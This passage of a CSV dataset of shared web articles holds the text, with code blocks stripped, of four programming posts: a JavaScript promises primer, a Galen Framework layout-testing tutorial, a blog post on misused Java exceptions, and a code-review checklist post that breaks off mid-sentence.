1466166471,CONTENT SHARED,-8757701761088346244,-1578287561410088674,-167683271521517999,,,,HTML,https://developers.google.com/web/fundamentals/primers/promises/,Promises | Web Fundamentals - Google Developers,"Ladies and gentlemen, prepare yourself for a pivotal moment in the history of web development... [Drumroll begins] Promises have arrived natively in JavaScript! [Fireworks explode, glittery paper rains from above, the crowd goes wild] At this point you fall into one of these categories: People are cheering around you, but you're not sure what all the fuss is about. Maybe you're not even sure what a ""promise"" is. You'd shrug, but the weight of glittery paper is weighing down on your shoulders. If so, don't worry about it, it took me ages to work out why I should care about this stuff. You probably want to begin at the beginning . You punch the air! About time right? You've used these Promise things before but it bothers you that all implementations have a slightly different API. What's the API for the official JavaScript version? You probably want to begin with the terminology . You knew about this already and you scoff at those who are jumping up and down like it's news to them. Take a moment to bask in your own superiority, then head straight to the API reference What's all the fuss about? JavaScript is single threaded, meaning that two bits of script cannot run at the same time, they have to run one after another. In browsers, JavaScript shares a thread with a load of other stuff. What that stuff is differs from browser to browser, but typically JavaScript is in the same queue as painting, updating styles, and handling user actions (such as highlighting text and interacting with form controls). Activity in one of these things delays the others. As a human being, you're multithreaded. You can type with multiple fingers, you can drive and hold a conversation at the same time. The only blocking function we have to deal with is sneezing, where all current activity must be suspended for the duration of the sneeze. That's pretty annoying, especially when you're driving and trying to hold a conversation. You don't want to write code that's sneezy. You've probably used events and callbacks to get around this. Here are events: This isn't sneezy at all. We get the image, add a couple of listeners, then JavaScript can stop executing until one of those listeners is called. Unfortunately, in the example above, it's possible that the events happened before we started listening for them, so we need to work around that using the ""complete"" property of images: This doesn't catch images that error'd before we got a chance to listen for them, unfortunately the DOM doesn't give us a way to do that. Also, this is loading one image, things get even more complex if we want to know when a set of images have loaded. Events aren't always the best way Events are great for things that can happen multiple times on the same object - keyup, touchstart etc. With those events you don't really care about what happened before you attached the listener. But when it comes to async success/failure, ideally you want something like: This is what promises do, but with better naming. If HTML image elements had a ""ready"" method that returned a promise, we could do: At their most basic, promises are a bit like event listeners except: A promise can only succeed or fail once. It cannot succeed or fail twice, neither can it switch from success to failure or vice versa If a promise has succeeded or failed and you later add a success/failure callback, the correct callback will be called, even though the event took place earlier This is extremely useful for async success/failure, because you're less interested in the exact time something became available, and more interested in reacting to the outcome. Promise terminology Domenic Denicola proof read the first draft of this article and graded me ""F"" for terminology. He put me in detention, forced me to copy out States and Fates 100 times, and wrote a worried letter to my parents. Despite that, I still get a lot of the terminology mixed up, but here are the basics: A promise can be: fulfilled - The action relating to the promise succeeded rejected - The action relating to the promise failed pending - Hasn't fulfilled or rejected yet settled - Has fulfilled or rejected The spec also uses the term thenable to describe an object that is promise-like, in that it has a then method. This term reminds me of ex-England Football Manager Terry Venables so I'll be using it as little as possible. Promises arrive in JavaScript! Promises have been around for a while in the form of libraries, such as: The above and JavaScript promises share a common, standardised behaviour called Promises/A+ . If you're a jQuery user, they have something similar called Deferreds . However, Deferreds aren't Promise/A+ compliant, which makes them subtly different and less useful , so beware. jQuery also has a Promise type , but this is just a subset of Deferred and has the same issues. Although promise implementations follow a standardised behaviour, their overall APIs differ. JavaScript promises are similar in API to RSVP.js. Here's how you create a promise: The promise constructor takes one argument, a callback with two parameters, resolve and reject. Do something within the callback, perhaps async, then call resolve if everything worked, otherwise call reject. Like throw in plain old JavaScript, it's customary, but not required, to reject with an Error object. The benefit of Error objects is they capture a stack trace, making debugging tools more helpful. Here's how you use that promise: then takes two arguments, a callback for a success case, and another for the failure case. Both are optional, so you can add a callback for the success or failure case only. JavaScript promises started out in the DOM as ""Futures"", renamed to ""Promises"", and finally moved into JavaScript. Having them in JavaScript rather than the DOM is great because they'll be available in non-browser JS contexts such as Node.js (whether they make use of them in their core APIs is another question). Although they're a JavaScript feature, the DOM isn't afraid to use them. In fact, all new DOM APIs with async success/failure methods will use promises. This is happening already with Quota Management , Font Load Events , ServiceWorker , Web MIDI , Streams , and more. Browser support & polyfill There are already implementations of promises in browsers today. As of Chrome 32, Opera 19, Firefox 29, Safari 8 & Microsoft Edge, promises are enabled by default. To bring browsers that lack a complete promises implementation up to spec compliance, or add promises to other browsers and Node.js, check out the polyfill (2k gzipped). Compatibility with other libraries The JavaScript promises API will treat anything with a then method as promise-like (or thenable in promise-speak sigh ), so if you use a library that returns a Q promise, that's fine, it'll play nice with the new JavaScript promises. Although, as I mentioned, jQuery's Deferreds are a bit... unhelpful. Thankfully you can cast them to standard promises, which is worth doing as soon as possible: Here, jQuery's $.ajax returns a Deferred. Since it has a ""then"" method, Promise.resolve can turn it into a JavaScript promise. However, sometimes deferreds pass multiple arguments to their callbacks, eg: Whereas JS promises ignore all but the first: ...thankfully this is usually what you want, or at least gives you access to what you want. Also, be aware that jQuery doesn't follow the convention of passing Error objects into rejections. Complex async code made easier Right, let's code some things. Say we want to: Start a spinner to indicate loading Fetch some JSON for a story, which gives us the title, and urls for each chapter Add title to the page Fetch each chapter Add the story to the page Stop the spinner ...but also tell the user if something went wrong along the way. We'll want to stop the spinner at that point too, else it'll keep on spinning, get dizzy, and crash into some other UI. Of course, you wouldn't use JavaScript to deliver a story, serving as HTML is faster , but this pattern is pretty common when dealing with APIs: Multiple data fetches, then do something when it's all done. To start with, let's deal with fetching data from the network: Promisifying XMLHttpRequest Old APIs will be updated to use promises, if it's possible in a backwards compatible way. XMLHttpRequest is a prime candidate, but in the mean time let's write a simple function to make a GET request: Now let's use it: Click here to see that in action , check the console in DevTools to see the result. Now we can make HTTP requests without manually typing XMLHttpRequest , which is great, because the less I have to see the infuriating camel-casing of XMLHttpRequest , the happier my life will be. Chaining then isn't the end of the story, you can chain then s together to transform values or run additional async actions one after another. Transforming values You can transform values simply by returning the new value: As a practical example, let's go back to: The response is JSON, but we're currently receiving it as plain text. We could alter our get function to use the JSON responseType , but we could also solve it in promises land: Since JSON.parse takes a single argument and returns a transformed value, we can make a shortcut: Click here to see that in action , check the console in DevTools to see the result. In fact, we could make a getJSON function really easily: getJSON still returns a promise, one that fetches a url then parses the response as JSON. Queuing asynchronous actions You can also chain ""then""s to run async actions in sequence. When you return something from a ""then"" callback, it's a bit magic. If you return a value, the next ""then"" is called with that value. However, if you return something promise-like, the next ""then"" waits on it, and is only called when that promise settles (succeeds/fails). For example: Here we make an async request to story.json , which gives us a set of URLs to request, then we request the first of those. This is when promises really start to stand out from simple callback patterns. You could even make a shortcut method to get chapters: We don't download story.json until getChapter is called, but the next time(s) getChapter is called we reuse the story promise, so story.json is only fetched once. Yay Promises! Error handling As we saw earlier, ""then"" takes two arguments, one for success, one for failure (or fulfill and reject, in promises-speak): You can also use ""catch"": There's nothing special about ""catch"", it's just sugar for then(undefined, func) , but it's more readable. Note that the two code examples above do not behave the same, the latter is equivalent to: The difference is subtle, but extremely useful. Promise rejections skip forward to the next ""then"" with a rejection callback (or ""catch"", since it's equivalent). With then(func1, func2) , func1 or func2 will be called, never both. But with then(func1).catch(func2) , both will be called if func1 rejects, as they're separate steps in the chain. Take the following: The flow above is very similar to normal JavaScript try/catch, errors that happen within a ""try"" go immediately to the ""catch"" block. Here's the above as a flowchart (because I love flowcharts): Follow the green lines for promises that fulfill, or the red for ones that reject. JavaScript exceptions and promises Rejections happen when a promise is explicitly rejected, but also implicitly if an error is thrown in the constructor callback: This means it's useful to do all your promise-related work inside the promise constructor callback, so errors are automatically caught and become rejections. The same goes for errors thrown in ""then"" callbacks. Error handling in practice With our story and chapters, we can use catch to display an error to the user: If fetching story.chapterUrls[0] fails (eg http 500 or user is offline), it'll skip all following success callbacks, which includes the one in getJSON which tries to parse the response as JSON, and also skips the callback that adds chapter1.html to the page. Instead it moves onto the catch callback. As a result, ""Failed to show chapter"" will be added to the page if any of the previous actions failed. Like JavaScript's try/catch, the error is caught and subsequent code continues, so the spinner is always hidden, which is what we want. The above becomes a non-blocking async version of: You may want to ""catch"" simply for logging purposes, without recovering from the error. To do this, just rethrow the error. We could do this in our getJSON method: So we've managed to fetch one chapter, but we want them all. Let's make that happen. Parallelism and sequencing - Getting the best of both Thinking async isn't easy. If you're struggling to get off the mark, try writing the code as if it were synchronous. In this case: see example That works ( see example )! But it's sync and locks up the browser while things download. To make this work async we use ""then"" to make things happen one after another. But how can we loop through the chapter urls and fetch them in order? This doesn't work : forEach isn't async-aware, so our chapters would appear in whatever order they download, which is basically how Pulp Fiction was written. This isn't Pulp Fiction, so let's fix it... Creating a sequence We want to turn our chapterUrls array into a sequence of promises. We can do that using ""then"": This is the first time we've seen Promise.resolve , which creates a promise that resolves to whatever value you give it. If you pass it an instance of Promise it'll simply return it ( note: this is a change to the spec that some implementations don't yet follow). If you pass it something promise-like (has a 'then' method), it creates a genuine Promise that fulfills/rejects in the same way. If you pass in any other value, eg Promise.resolve('Hello') , it creates a promise that fulfills with that value. If you call it with no value, as above, it fulfills with ""undefined"". There's also Promise.reject(val) , which creates a promise that rejects with the value you give it (or undefined). We can tidy up the above code using array.reduce : This is doing the same as the previous example, but doesn't need the separate ""sequence"" variable. Our reduce callback is called for each item in the array. ""sequence"" is Promise.resolve() the first time around, but for the rest of the calls ""sequence"" is whatever we returned from the previous call. array.reduce is really useful for boiling an array down to a single value, which in this case is a promise. Let's put it all together... And there we have it ( see example ), a fully async version of the sync version. But we can do better. At the moment our page is downloading like this: Browsers are pretty good at downloading multiple things at once, so we're losing performance by downloading chapters one after the other. What we want to do is download them all at the same time, then process them when they've all arrived. Thankfully there's an API for this: Promise.all takes an array of promises and creates a promise that fulfills when all of them successfully complete. You get an array of results (whatever the promises fulfilled to) in the same order as the promises you passed in. Depending on connection, this can be seconds faster than loading one-by-one ( see example ), and it's less code than our first try. The chapters can download in whatever order, but they appear on screen in the right order. However, we can still improve perceived performance. When chapter one arrives we should add it to the page. This lets the user start reading before the rest of the chapters have arrived. When chapter three arrives, we wouldn't add it to the page because the user may not realise chapter two is missing. When chapter two arrives, we can add chapters two and three, etc etc. To do this, we fetch JSON for all our chapters at the same time, then create a sequence to add them to the document: And there we go ( see example ), the best of both! It takes the same amount of time to deliver all the content, but the user gets the first bit of content sooner. In this trivial example, all of the chapters arrive around the same time, but the benefit of displaying one at a time will be exaggerated with more, larger chapters. Doing the above with Node.js-style callbacks or events is around double the code, but more importantly isn't as easy to follow. However, this isn't the end of the story for promises, when combined with other ES6 features they get even easier... Bonus round: Promises and Generators This next bit involves a whole bunch of new ES6 features, but it's not something you need to understand to use promises in your code today. Treat it like a movie trailer for some upcoming blockbuster features. ES6 also gives us generators , which allow functions to exit at a particular point, like ""return"", but later resume from the same point and state. Eg: Notice the star before the function name, this makes it a generator. The yield keyword is our return/resume point. We can use it like this: But what does this mean for promises? Well, you can use this return/resume behaviour to write async code that looks like (and is as easy to follow as) synchronous code. Don't worry too much about understanding it line-for-line, but here's a helper function that lets us use 'yield' to wait for promises to settle: ...which I pretty much lifted verbatim from Q , but adapted for JavaScript promises. With this, we can take our final best-case chapter example, mix it with a load of new ES6 goodness, and turn it into: This works exactly as before, but so much easier to read. This works in Chrome and Opera today ( see example ), and works in Microsoft Edge by going to about:flags and turning on the Enable experimental Javascript features setting. This will be enabled by default in an upcoming version. This throws together a lot of new ES6 stuff: promises, generators, let, for-of. When we yield a promise, the spawn helper waits for the promise to resolve and returns the final value. If the promise rejects, spawn causes our yield statement to throw an exception, which we can catch with normal JavaScript try/catch. Amazingly simple async coding! This pattern is so useful, it's coming to ES7 in the form of async functions . It's pretty much the same as above, but no need for a spawn method. Promise API Reference All methods work in Chrome, Opera, Firefox, Microsoft Edge, and Safari unless otherwise noted. The polyfill provides the below for all browers. Static Methods Promise.resolve(promise); Returns promise (only if promise.constructor == Promise ) Promise.resolve(thenable); Make a new promise from the thenable. A thenable is promise-like in as far as it has a ""then"" method. Promise.resolve(obj); Make a promise that fulfills to obj .` in this situation. Promise.reject(obj); Make a promise that rejects to obj . For consistency and debugging (e.g. stack traces), obj should be an instanceof Error . Promise.all(array); Make a promise that fulfills when every item in the array fulfills, and rejects if (and when) any item rejects. Each array item is passed to Promise.resolve , so the array can be a mixture of promise-like objects and other objects. The fulfillment value is an array (in order) of fulfillment values. The rejection value is the first rejection value. Promise.race(array); Make a Promise that fulfills as soon as any item fulfills, or rejects as soon as any item rejects, whichever happens first. Note: I'm unconvinced of Promise.race 's usefulness; I'd rather have an opposite of Promise.all that only rejects if all items reject. Constructor resolve(thenable) Your promise will be fulfilled/rejected with the outcome of thenable resolve(obj) Your promise is fulfilled with obj Your promise is rejected with obj . For consistency and debugging (eg stack traces), obj should be an instanceof Error . Any errors thrown in the constructor callback will be implicitly passed to reject() . Instance Methods promise.then(onFulfilled, onRejected) onFulfilled is called when/if ""promise"" resolves. onRejected is called when/if ""promise"" rejects. Both are optional, if either/both are omitted the next onFulfilled / onRejected in the chain is called. Both callbacks have a single parameter, the fulfillment value or rejection reason. ""then"" returns a new promise equivalent to the value you return from onFulfilled / onRejected after being passed through Promise.resolve . If an error is thrown in the callback, the returned promise rejects with that error. promise.catch(onRejected) Sugar for promise.then(undefined, onRejected) Many thanks to Anne van Kesteren, Domenic Denicola, Tom Ashworth, Remy Sharp, Addy Osmani, Arthur Evans, and Yutaka Hirano who proofread this and made corrections/recommendations. Also, thanks to Mathias Bynens for updating various parts of the article. Authors",en
1466174787,CONTENT SHARED,8267509427016592713,-1443636648652872475,-7760091057538643649,,,,HTML,https://www.smashingmagazine.com/2016/06/the-art-of-layout-testing-with-galen-framework/,The Art Of Layout Testing With Galen Framework - Smashing Magazine,"When designing a graphical user interface, there is always an open question: How do we automate testing for it? And how do we make sure the website layout stays responsive and displays correctly on all kinds of devices with various resolutions? Add to this the complications arising from dynamic content, requirements for internationalization and localization, and it becomes a real challenge. Introduction To Galen Framework Link In case you are unfamiliar with Galen Framework, it is a tool for responsive and cross-browser layout testing and functional testing, with its own testing language, named Galen Specs . It is based on Selenium WebDriver and also has a rich JavaScript API that lets you work with WebDriver directly. Because you have control over WebDriver, you can run tests in any browser, in the cloud (SauceLabs, BrowserStack, PerfectoMobile, etc.) or on real mobile devices using Appium . Installing and Executing Link If you don't use npm, just download the latest Galen Framework archive , extract the package and follow the installation instructions . Once installed, Galen Framework can be launched in various ways. For instance, you can use the command to launch a quick test of a single page. For this command, you need to provide a .gspec file with your layout validations, and then you can invoke it like this: This command will launch a browser, open the specified URL, resize the browser window to 1024 × 768 pixels and execute all validations declared in the loginPage.gspec file. As a result, you will get a detailed HTML report . Managing Test Suites Link In the real world, an actual web application does not consist purely of static pages. Quite often you will have to perform some actions to get to the place you want to check. In this case, Galen offers JavaScript test suites and the GalenPages JavaScript API for implementing the page object model . Here is a simple example of a JavaScript Galen test: For advanced usage, I advise you to look at the Galen Bootstrap project. It is a JavaScript extension built specifically for Galen. It provides some extra functionality for UI testing and an easier way to configure browsers and execute complex test suites. Simple Layout Test Link Let me start by introducing a simple layout test in Galen Framework. Then, I will move on to advanced use cases and demonstrate how to extend the Galen Specs syntax. For this, we will look at a header with an icon and caption: In HTML code, it might look something like this: Testing Multiple Elements Using forEach Loops Link The previous example demonstrates a simple scenario. Let's see how we can deal with a more complicated situation: a horizontal menu. First, let's try a straightforward layout testing technique. Begin by matching multiple elements on the page. With the following code, we're telling Galen to search for elements that match the #menu ul li CSS selector. Later, we can refer to these items with names like menu.item-1 and menu.item-2 and iterate over all menu items using a @forEach loop . As you can see, even though the actual check is not that complex, the code has already become less intuitive. Imagine if we had more similar code in our tests. At some point, it would become an unmaintainable mess. There should be a way to improve it. Rethinking Layout Testing Link If you think about the previous example, it seems we could express the layout in just one or two sentences. For instance, we could say something like, ""All menu items should be aligned horizontally, with no margin in between. The first menu item should be located on the left side of the menu, with no margin."" Because we've formulated sentences to explain the layout we want, why can't we just use them in our code? Imagine if we could write the code like this: In fact, that is real working code, copied from my project. In those last two lines (starting with the pipe, | ), we're invoking custom functions that collect their arguments by parsing those two statements. Of course, the example above will not work as is. In order for it to compile, we need to implement the handlers for those two statements. We will get back to this implementation later. The key point with the example above is that layout testing has shifted from object-driven to expression-driven testing. It might not be obvious from such a minor example, but it is definitely noticeable at a larger scale. So, why is this significant? The short answer is that this changes our mindset and affects the way we design our software and write tests for it. Using this technique, we don't treat our page as a bunch of objects with specific relationships between them. We don't test the CSS properties of individual elements. And we avoid writing complicated non-trivial code. Instead, we are trying to think of common layout patterns and meaningful statements. Rather than testing menu item 1, menu item 2 and so on separately, we apply generic statements that: are reproducible on other elements; don't contain hardcoded pixel values; are applied to abstractions and not to concrete objects; and, last but not least, actually make sense when we read them. How It Works Link Let me explain the mechanism of custom layout expressions using this simple example: In this example, we are supposed to check that the button stretches to the panel, with no margin on the left or right side. Without custom rules, we can approach it in different ways, but I prefer the following solution: The code above gives us the flexibility to declare custom margin on the sides, and it also implicitly tests that the button is contained completely within the panel. The downside is that it is not very readable, which is why I am going to put this validation behind the expression button stretches to some_panel . In order for that to work, we need to write a custom rule like this: That's it. Now we can put it in our test in just one line: As you can see, this rule takes two arguments: elementName and parentName . This allows us to apply it to other elements as well. Just replace the names of those two objects. Implementing Your Own Testing Language Link Let's get back to the initial examples of layout expressions for the horizontal menu. We can implement the first rule in the following way: When used in our example, it would parse the arguments as follows: Because we are done with our first expression, we can move to the next one. In the second expression, we are supposed to test the horizontal alignment of all menu items. I propose three simple steps: Find all menu items. Iterate over all of them until the penultimate element. Check that the element n is located to the left of element n+1 and that their top and bottom edges align. To get it working, we need to take a @forEach loop and specs and . Fortunately, in Galen you can refer to the previous or next item in a loop. In case you've declared a reference to the next element, it will iterate only until the penultimate element, which is exactly what we need. You might ask, What if we have to specify a margin in our test (such as ~ 20px or 10 to 20px )? Then, I suggest either implementing a separate rule or extending the existing one to support an %{margin} argument. That's it! We have created a generic expression that helps us validate the horizontal menu. However, because of its flexibility, we can do much more than that. We can use it to test any other elements on the page. We can even use it to test the alignment of two buttons: You might notice in these two examples that we've declared the first argument in two different ways. In the first expression, the first argument is ""menu.item-*"" , and in the second expression it is declared as ""submit_button, cancel_button"" . That is possible because the @forEach loop allows us to use a comma-separated list of objects together with the star operator. But we are still not done with refactoring. We could improve the code further and make it more readable. If we create groups for the menu items and the log-in form buttons, we could accomplish something like this: In this case, we have to use the & symbol, which stands for a group declaration . That is already a good test. First, it just works, and we are able to test what we need. Also, the code is clear and readable. If another person were to ask you what the log-in page should look like and what the design requirements are, you could tell them to look at the test. As you can see, implementing custom expressions for complex layout patterns is not really a big deal. It might be challenging in the beginning, but it still resembles something of a creative activity. Dynamic Margins Link Let's look at another rare layout pattern that you might find sometimes on various websites. What if we wanted to test that elements have an equal distance between each other? Let's try to implement another rule for that, but this time using a JavaScript implementation. I propose such a statement: ""box_item-* are aligned horizontally next to each other with equal distance"" . This is going to be a little tricky because we don't know the margin between elements and we can't just hardcode pixel values. Therefore, the first thing we have to do is to retrieve the actual margin between the first and last elements. Once we obtain that margin, we can declare it in a @forEach loop similar to how we did before. I propose implementing this rule using the JavaScript API because the logic required is a bit more complex than in all of our previous examples. Let's create a file named my-rules.js and type in this code: In our test code, we will use it like this: Galen Extras Link Having played enough with various layout patterns, I realized that all of these Galen rules could be easily applied in any other test project. That gave me an idea to compile the most common layout expressions into their own library. That's how I came to create the Galen Extras project. Below are some examples of what this library is capable of: The Galen Extras library contains many of the layout patterns you would commonly find on websites, and I keep updating it as soon as I discover a useful pattern. Once this library was set up, I decided to try it on a real test project. Testing The Messaging App Link To be honest, implementing tests for such pages has always seemed a bit scary to me, especially layout tests. But with the Galen Extras library in place, it actually went pretty smoothly, and soon I was able to come up with this code: Extracting Pixel Ranges Link The test looked OK: It was compact and readable but still far from perfect. I didn't really like all of those margin definitions ( ~ 20px , 10 to 15px ). Some of them were repeated, and it was hard to understand what each of them stood for. That is why I decided to hide every margin behind a meaningful variable. As you can see, I've moved the margins to messages_vertical_margin and messages_side_margin . I've also declared a minimal margin, which is a range between 0 and 1 pixel. Image-Based Validation and Custom Expressions Link Having covered the positioning of all main elements on the page, I decided also to test styling. I wanted to validate that each message has a background colour specific to the user's role. When users are logged in, messages would have a light-blue background. Messages for other users would have a white background. In case a message has not been sent, the error alert would have a pink background. Here is the rule that helped me validate these styles: The spec verifies the proportional distribution of colors within an element. It crops a screenshot of the page and analyzes the color distribution. So, to check the background color of an element, we just check that its distribution is greater than 60% of the total color range. In the test, this rule is invoked like so: Configuring Test Suites Link The messaging app is a dynamic application that works together with the RESTful Messaging API. Therefore, to test its layouts in all different states, we have to prepare test data. I decided to mock up the Messaging API so that I would be able to configure all of my test messages in the test suite. Here is a fragment of my test suite that shows how our tests are structured. Catching Bugs Link Implementing those simple expressions pays off quite quickly. Let's go over what kind of bugs we can catch with our test suite. Styling Issue Link Here is an example of when something goes wrong in our CSS code base and, as a result, all messages are rendered with the same background. If you compare this screenshot with the original, you will notice that the last message has a white background, whereas it is supposed to be light blue. Let's see how Galen reports this issue: For the highlighted object, it displays the error color #e1e8f5 on ""messenger.message-3"" is 0% but it should be greater than 60% . To be honest, this error message doesn't look all that clear, but because this check was generated from a custom rule, we can always look up its original name in a report branch: If you scroll up, you'll see that the original statement is &third_message should be styled as own message . That is another benefit of using custom expressions: They help you understand the failure and nicely describe all of those generated validations. Positioning Issue Link Here is another example of when the layout goes wrong due to incorrect alignment of an element. In the following screenshot, you can see that the last message is positioned to the left side of the messaging viewport, instead of the right. Let's look again at the screenshot with the error message: The screenshot highlights the messaging container and the last message element. Together with that, it shows the following error message: ""messenger.message-3"" is 285px right which is not in range of 22 to 28px . It might not be clear to a web developer why a margin of 22 to 28 pixels is expected on the right side. Again, you'd have to look for a validation statement in the report branch: The original statement for that check is &third_message should be located at the right inside messenger with ~ 25px margin . That makes much more sense. Moreover, other front-end engineers will understand this test report, even if they haven't written the tests. Layout Testing Guidelines Link With all of these different experiments in mind, I decided to formalize all of the learning into general layout testing guidelines. Here is a quick checklist of steps to follow to ease your testing routine. Identify layout patterns in the design. Generalize validation statements. Try to condense most validations into single sentences. Componentize! It's always better to move tests of repeated elements into dedicated components . Use meaningful names for sections, rules and objects. Avoid pixels. Try to replace pixel values (whether exact values or ranges) with meaningful variables. Adjust your website's code to make it easier to test. This will help you structure and maintain both your production and test code. Acceptance Criteria To The Rescue Link Popups should be centered vertically and horizontally on the screen. They should be 400 pixels wide. Buttons should be aligned horizontally. And so on Once you describe the design in simple sentences, it becomes easier to convert them into reusable statements and to organize your test code. Conclusion Link Resources Link 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 ↑ Back to top Tweet it Share on Facebook",en
1466174865,CONTENT SHARED,1772786465683785304,7645894863578715801,1808415540732457375,,,,HTML,http://blog.takipi.com/the-truth-behind-the-big-exceptions-lie/,It's Time to Unlearn Everything You Know About Java Exceptions | Takipi Blog,"Exceptions are probably the most misused Java language feature. Here's why Let's break some myths. There is no tooth fairy. Santa isn't real. TODO comments. finalfinalversion-final.pdf. Soapless soap. And... Exceptions are in fact exceptions. The latter might need some more convincing, but we got you covered. For this post, we asked Avishai Ish-Shalom , an experienced systems architect and a longtime friend of the blog (most importantly, a big fan of furry hats ), to join us for a quick chat about the current state of exceptions in Java applications. Here's what we found out. New Post: The Truth Behind the Big Exceptions Lie pic.twitter.com/cZC1XtaKXU - Takipi (@takipid) June 14, 2016 Exceptions are by definition far from normal Let's kick off with a quote from the official Java documentation : ""An exception is an event that occurs during the execution of a program that DISRUPTS the normal flow of instructions"". Honest disclosure: we've added the caps ourselves. In practice, the normal flow of instructions in most applications is filled with ""normal"" recurrences of these so called ""normal"" exceptions, that cause ""normal"" disruptions. There's a increasing high level of noise in most applications, with exceptions thrown, logged, then indexed and analyzed which... are mostly meaningless. This operational noise, apart from creating unnecessarily stress on the system, makes you lose touch with the exceptions that really matter. Imagine an eCommerce application with a new important exception that started happening, signalling that something has gone wrong and affected, say, a 100 users aren't able to checkout. Now, cover it up with thousands of useless ""normal"" exceptions and try to understand what went wrong. For example, most applications have a ""normal"" level of error events. In this following screenshot, we can see it's about 4k events per hour: Takipi 's error analysis dashboard - Error trends If we're ""lucky"", a new error would show itself as a spike in the graph, like we have right here with an IllegalStateException occurring hundreds of thousands of times around 1am (Ouch). We can immediately see what caused a spike. The green line indicates the total number of events, and the rest of the lines indicate specific exceptions and logged errors / warnings. The danger comes from exceptions with only a few, small, but lethal instances that are buried within the so called ""normal"" level of exception. What at are these ""normal"" exceptions you're talking about? Unlike real errors that require code changes to fix, exceptions today indicate a plethora of other scenarios that really don't carry any actionable insights. They only weigh down on the system. Consider these 2 scenarios that any experienced developer can anticipate: Business Errors - Anything the user / data might do which the business flow does not permit. Like any kind of form validation, filling in text inside a phone number form field, checking out with an empty cart, etc. Internally as well, NumberFormatException reached rank #2 out of the top 10 exceptions in our latest post covering a research of over 1B in production environments . System Errors - Anything you ask from the OS and it might say no, things that are out of your control. Like, trying to access a file you don't have permissions for. Real exceptions on the other hand, are things you weren't aware of when writing the code, like an OutOfMemoryException, or even a NullPointerException that messes things up unexpectedly. Issues that require you to take action to resolve them. Exceptions are designed to crash & burn Uncaught exceptions kill your thread, and might even crash the whole application or put it in some ""zombie state"" when an important thread is dead and the rest are stuck waiting for it. Some applications know how to handle that, most don't. The exception's main purpose in Java is to help you catch the bug and solve it, not crossing lines into application logic land. They were meant to help in debugging which is why they try to contain as much info as possible from the application's perspective. Another issue this can create is inconsistent state, when the application flow gets... jumpy, it's even worse than a goto statement. It has the same shortcomings, with some twists of its own: It breaks the flow of the program It's hard to track and understand what will happen next Hard to cleanup, even with finally blocks Heavyweight, unlike ""goto"", it carries all the stack and additional extra data with it Use ""error"" flows without exceptions If you try to use an exception to deal with predictable situations that should be handled by application logic, you're in trouble. The same trouble most Java applications are in. Issues that can be expected to happen, aren't really exceptions by the book. An interesting solution comes from Futures in Scala - handling errors without exceptions. Scala example from official scala docs: Exceptions may be thrown by the code run inside the future, but they are contained and don't leak outside. The possibility of failure is made explicit by the Failure(t) branch and it's very easy to follow code execution. In the new Java 8 CompletableFuture feature (of which we just recently wrote), we can use completeExceptionally() although it's not as pretty. The plot gets thicker with APIs Let's say we have a system that uses a library for database access, how would the DB library expose its errors to the outside world? Welcome to the wild wild west. And keep in mind the library may still throw generic errors, like java.net.UnknownHostException or NullPointerException One real life example of how this can go wrong is a library that wraps JDBC, and just throws a generic DBException without giving you a chance to know what's wrong. Maybe it's all just fine and there's just a connectivity error, or maybe... you actually need to change some code. A common solution is the DB library using a base exception, say, DBException, from which library exceptions inherit. This allows the library user to catch all library errors with one try block. But what about the system errors that may have caused the library to err? The common solution is to wrap any exception happening inside it. So if it's unable to resolve a DNS address, which is more of a system error then a library error, it will catch it and rethrow this higher level exception - which the user of the library should know to catch. Try-catch nightmare, with a hint of nested exceptions wrapping other exceptions. If we put Actors into the mix, the control flow even gets messier. Async programming with exceptions is a mess. It can kill an Actor , restart it, a message will be sent to some other Actor with the original error and you lose the stack. So... What can you do about it? Starting from scratch and avoiding unnecessary exceptions is always easier, however most likely that it's not the case. With an existing system, like a 5 year old application, you're in for a lot of plumbing work (If you're lucky, and get managerial approval to fix the noise). Ideally we'd want all exceptions to be actionable, meaning, drive actions that would prevent them from happening again, and not just acknowledge that these things sometimes happen. To sum up, un-actionable exceptions cause a lot of mess around: Performance Stability Monitoring / log analysis And... Hide real exceptions that you want to see and act on The solution is... doing the hard work of pruning away the noise and creating control flows that make more sense. Another creative solution is changing the log levels, if it's not an actionable exception, don't log it as an error. That's only a cosmetic solution but might get you to 80% of the work. Ultimately, logs and dashboards are only cosmetics, there's a need to fix the issue at its core and avoid unactionable exceptions altogether. At Takipi, we recently found that on average 97% of logged errors come from the top 10 unique errors . To check out the current state of exceptions and logged errors in your application, attach the Takipi agent and you'll have a complete understanding of how code behaves in your production environment (and how to fix it) in a matter of minutes. Check it out . Final Thoughts The bottom line is, do you have an Exception that doesn't result in code changes? You shouldn't even be wasting time looking at it. This post is based on a lightning talk that Avishai did called ""Actionable Exceptions"":",en
1466176145,CONTENT SHARED,-8467102776052559275,7645894863578715801,1808415540732457375,,,,HTML,http://www.daedtech.com/creating-code-review-checklist/,Creating Your Code Review Checklist - DaedTech,"Editorial Note: I originally wrote this post for the SmartBear blog. You can read the original here, at their site . There's a lot of other good stuff over there as well, so look around. In any line of work, there are a number of rites of passage by which you can mark your career and feel good about milestones achieved. Programming is no different. Think back to the first time you were asked to perform a code review. How exciting! (Though you probably laugh at your younger self now for being excited to review code.) You spent time as the newest programmer in the organization, under the impression that code reviews were something done to you rather than by you, but now you have confirmation that your opinion is valued. If you're anything like me, the first thing you did in such a situation was to scramble to Google and start punching in things like, ""how to conduct a code review,"" ""code review checklist,"" or ""code review best practices."" Being asked to weigh in on someone's code is a lot of responsibility, and who wants to screw that up? In such a Google search, you'll probably find recommendations that steer you toward a list like this: Does every method have an XML comment? Do classes have a copyright header? Do fields, methods, and types follow our standard naming convention? Do methods have too many parameters? Are you checking validity of method parameters? Does the code have ""magic"" values instead of named constants? Seems pretty reasonable, right? If we brainstormed for an hour or two, we could probably flesh this out to be a comprehensive list with maybe 100 items on it. And that's what a lot of code review checklists look like - large lists of things for reviewers to go through and check. So code review becomes an activity reminiscent of a line supervisor inspecting factory equipment with a clipboard. There are two problems with this. You can't keep 100+ items in your head as you look at every method or clause in a code base, so you're going to have to read the code over and over, looking for different things. None of the checks I listed above actually require human intervention. They can all be handled via static analysis. Automating The Easy Stuff So, if you go the ""long checklist"" route of code review, what you wind up with, in a real sense, is a lot of busywork. Code inspection is a hugely valuable activity. Spend it doing things that require human intellect. By all means, make this large checklist, too - and then set about automating everything that can be automated. What do I mean by ""automated?"" Get static analysis tools that developers can install in their IDEs 